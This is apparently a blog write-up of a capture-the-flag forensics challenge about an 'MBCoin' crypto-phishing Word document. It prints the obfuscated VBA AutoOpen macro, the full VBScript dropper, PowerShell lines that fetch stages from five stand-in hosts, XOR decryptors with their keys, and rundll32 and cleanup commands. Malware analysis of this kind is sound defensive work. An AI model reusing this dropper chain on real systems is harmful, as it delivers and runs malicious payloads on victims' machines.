← Back to blog

MBCoin

Scenario

We have been actively monitoring the most extensive spear-phishing campaign in recent history for the last two months. This campaign abuses the current crypto market crash to target disappointed crypto owners. A company’s SOC team detected and provided us with a malicious email and some network traffic assessed to be associated with a user opening the document. Analyze the supplied files and figure out what happened.

The lure is a classic crypto-investment phishing email that pressures the victim into enabling macros on the attached Word document:

Hello,

Are you wondering about how you can make more money through a smarter investment? If you have looked at the profits available from cryptocurrency and thought it was too late, now is your chance. Get in on the ground floor today with the announcement of MBCoin.

You may be eligible for free MBCoin! Make sure to click “Enable Content” and this document will calculate how much MBCoin you’ve won.

Happy Investing to the Moon, Monkey Business Investments

The “Enable Content” instruction is the tell: the document relies on a VBA AutoOpen macro that only fires once macros are enabled.

Macro analysis with olevba

Extracting the VBA from the maldoc reveals an AutoOpen routine that is heavily obfuscated with StrReverse. Every literal string is written backwards so a casual reader (and naive signatures) won’t recognize the paths and commands. The macro reads the alternate text of two embedded shapes, writes it out as a dropper script, and then executes it.

Sub AutoOpen()
    Dim QQ1 As Object
    Set QQ1 = ActiveDocument.Shapes(1)
    Dim QQ2 As Object
    Set QQ2 = ActiveDocument.Shapes(2)
    RO = StrReverse("\ataDmargorP\:C")
    ROI = RO + StrReverse("sbv.nip")
    ii = StrReverse("")
    Ne = StrReverse("IZOIZIMIZI")
    WW = QQ1.AlternativeText + QQ2.AlternativeText
    MyFile = FreeFile
    Open ROI For Output As #MyFile
    Print #MyFile, WW
    Close #MyFile
    fun = Shell(StrReverse("sbv.nip\ataDmargorP\:C exe.tpircsc k/ dmc"), Chr(48))

    waitTill = Now() + TimeValue("00:00:05")
    While Now() < waitTill
    Wend
    MsgBox ("Unfortunately you are not eligable for free coin!")
    End

End Sub

olevba flags the auto-exec entry point, the Shell execution, the file write, and the string-obfuscation tricks. Its IOC table also resolves each reversed string to plaintext, exposing the dropped script path and the command line:

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Open                |May open a file                              |
|Suspicious|Output              |May write to a file (if combined with Open)  |
|Suspicious|Print #             |May write to a file (if combined with Open)  |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|StrReverse          |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|VBA obfuscated      |VBA string expressions were detected, may be |
|          |Strings             |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |pin.vbs             |Executable file name (obfuscation: VBA       |
|          |                    |expression)                                  |
|IOC       |cscript.exe         |Executable file name (obfuscation: VBA       |
|          |                    |expression)                                  |
|VBA string|C:\ProgramData\     |StrReverse("\ataDmargorP\:C")                |
|VBA string|pin.vbs             |StrReverse("sbv.nip")                        |
|VBA string|                    |StrReverse("")                               |
|VBA string|IZIMIZIOZI          |StrReverse("IZOIZIMIZI")                     |
|VBA string|cmd /k cscript.exe C|StrReverse("sbv.nip\ataDmargorP\:C           |
|          |:\ProgramData\pin.vb|exe.tpircsc k/ dmc")                         |
|          |s                   |                                             |
|VBA string|0                   |Chr(48)                                      |
+----------+--------------------+---------------------------------------------+

Deobfuscated macro

Substituting the resolved strings back in makes the behavior obvious: the macro concatenates two shapes’ alternate text into C:\ProgramData\pin.vbs, runs it via cscript.exe, then shows a fake “not eligible” message box to keep the victim unsuspicious. Chr(48) is "0", the hidden-window style for Shell.

Sub AutoOpen()
    Dim QQ1 As Object
    Set QQ1 = ActiveDocument.Shapes(1)
    Dim QQ2 As Object
    Set QQ2 = ActiveDocument.Shapes(2)
    Ne = "IZIMIZIOZI"
    WW = QQ1.AlternativeText + QQ2.AlternativeText
    MyFile = FreeFile
    Open "C:\ProgramData\pin.vbs" For Output As #MyFile
    Print #MyFile, WW
    Close #MyFile
    fun = Shell(cmd /k cscript.exe C:\ProgramData\pin.vbs, Chr(48))

    waitTill = Now() + TimeValue("00:00:05")
    While Now() < waitTill
    Wend
    MsgBox ("Unfortunately you are not eligable for free coin!")
    End

End Sub

This drop-and-execute pattern, combined with a PowerShell downloader staged across multiple hosts, matches the publicly documented SquirrelWaffle loader campaigns:

For reference, the SquirrelWaffle write-ups describe the same IEX-via-replace and string-split obfuscation seen here, with a defanged downloader resembling:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(hxxps://priyacareers[.]com/u9hDQN9Yy7g/pt.html,C:\ProgramData\www1.dll)';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ); OY $FOOX|OY;

The dropped/related artifacts and their hashes and verdicts:

mbcoin.LNK     526cc880fec97476552eb7c2aa78a6c12baf7c18bddbac373e0f62b66aae2d73     no specific threat
pin.vbs     17d08f86cde0023171e265c8d43864e377c1b2a64453508af502054134e5fd52     malicious
e1f37d99490cd216b2fc6fdd9a161b1fa63273f7d0a14de4fff287d8286ca2b0.bin     e1f37d99490cd216b2fc6fdd9a161b1fa63273f7d0a14de4fff287d8286ca2b0     suspicious
~WRD0001.tmp     eaadb2cbfeda32c3157d620a8dd883b9da1ef164b1a8f998a80f1993688e16aa

The dropped pin.vbs (shape alternate text)

The “alternate text” of the two Word shapes is the real payload. Recovering it gives the full VBScript dropper. It first stalls with a DateAdd-based sleep (sandbox evasion), then builds the string powershell from fragments (HH9..HH6) to dodge keyword detection.

Each LLn is a PowerShell one-liner that reconstructs IEX via 'JOOEX'.replace('JOO','I'), aliases it to OY, then splits (New-Object Net.WebClient).DownloadFile(...) across variables to download a stage from one of five C2 hosts into C:\ProgramData\wwwN.dll:

Dim WAITPLZ, WS, k, kl
WAITPLZ = DateAdd(Chr(115), 4, Now())
Do Until (Now() > WAITPLZ)
Loop

LL1 = "$Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://priyacareers.htb/u9hDQN9Yy7g/pt.html'',''C:\ProgramData\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL2 = "$Nanoz='JOOEX'.replace('JOO','I');sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://perfectdemos.htb/Gv1iNAuMKZ/jv.html'',''C:\ProgramData\www2.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL3 = "$Nanox='JOOEX'.replace('JOO','I');sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://bussiness-z.htb/ze8pCNTIkrIS/wp.html'',''C:\ProgramData\www3.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL4 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://cablingpoint.htb/ByH5NDoE3kQA/vm.html'',''C:\ProgramData\www4.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL5 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://bonus.corporatebusinessmachines.htb/1Y0qVNce/tz.html'',''C:\ProgramData\www5.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"

HH9="po"
HH8="wers"
HH7="h"
HH6="ell "
HH0= HH9+HH8+HH7+HH6
Set Ran = CreateObject("wscript.shell")
Ran.Run HH0+LL1,Chr(48)
Ran.Run HH0+LL2,Chr(48)
Ran.Run HH0+LL3,Chr(48)
Ran.Run HH0+LL4,Chr(48)
Ran.Run HH0+LL5,Chr(48)
Wscript.Sleep(5000)
MM1 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww1.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'gl'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'KO'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'X'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM2 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww2.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'pc'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Au'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'P'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]};  if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM3 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww3.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'WG'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'OL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'s'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM4 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww4.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'oN'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Py'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'G'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM5 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww5.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'IE'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'YL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'a'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"

Set Ran = CreateObject("wscript.shell")
Ran.Run HH0+MM1,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM2,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM3,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM4,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM5,Chr(48)

WScript.Sleep(15000)
OK1 = "cmd /c rundll32.exe C:\ProgramData\www.dll,ldr"
OK2 = "cmd /c del C:\programdata\www*"
OK3 = "cmd /c del C:\programdata\pin*"
Ran.Run OK1, Chr(48)
WScript.Sleep(1000)
Run.Run OK2, Chr(48)
Run.Run OK3, Chr(48)

The script’s full flow is: download five XOR-encrypted stages (www1.dll..www5.dll), decrypt each with MM1..MM5, execute the loader with rundll32.exe www.dll,ldr, then delete the staging files and pin.vbs to clean up.

Command-and-control infrastructure

The five DownloadFile calls reveal the campaign’s C2 domains (.htb stand-ins for the real infrastructure):

Domain     Address     Registrar     Country
bonus.corporatebusinessmachines.htb     -     -     -
bussiness-z.htb     -     -     -
cablingpoint.htb     -     -     -
perfectdemos.htb     -     -     -
priyacareers.htb     -     -     -

XOR decryption stage

The MMn blocks are the payload decryptors. Each reads the downloaded wwwN.dll, XORs it byte-by-byte against a repeating key, and writes the result to C:\ProgramData\www.dll. The paths are obfuscated with -CrePLacE/.REpLace substituting [Char]92 (a backslash) into placeholder strings (GPH, Y9A). Cleaning up MM1 yields:

$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww1.d'+'ll')  -CrePLacE'GPH',[Char]92));
$k = ('6i'+'I'+'gl'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'KO'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'X'+'pjmYfaQX'+'acA6');
$r = New-Object Byte[] $b.length;
for($i=0; $i -lt $b.length; $i++){
  $r[$i] = $b[$i] -bxor $k[$i%$k.length]
};
if ($r.length -gt 0) {
  [System.IO.File]::WriteAllBytes("C:\programdata\www.dll", $r)
}

Resolving the -CrePLacE'GPH',[Char]92 substitution turns the obfuscated path back into a normal Windows path:

(('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww1.d'+'ll')  -CrePLacE'GPH',[Char]92)
C:\programdata\www1.dll

And concatenating the $k fragments reveals the repeating XOR key used to decrypt the stage into the final loader DLL:

$k = 6iIgloMk5iRYAw7ZTWed0CrjuZ9wijyQDjKO9Ms0D8K0Z2H5MX6wyOKqFxlOm1XpjmYfaQXacA6

XOR-decrypting any captured wwwN.dll against its corresponding key recovers www.dll, the final loader stage, completing the analysis of this SquirrelWaffle-style maldoc.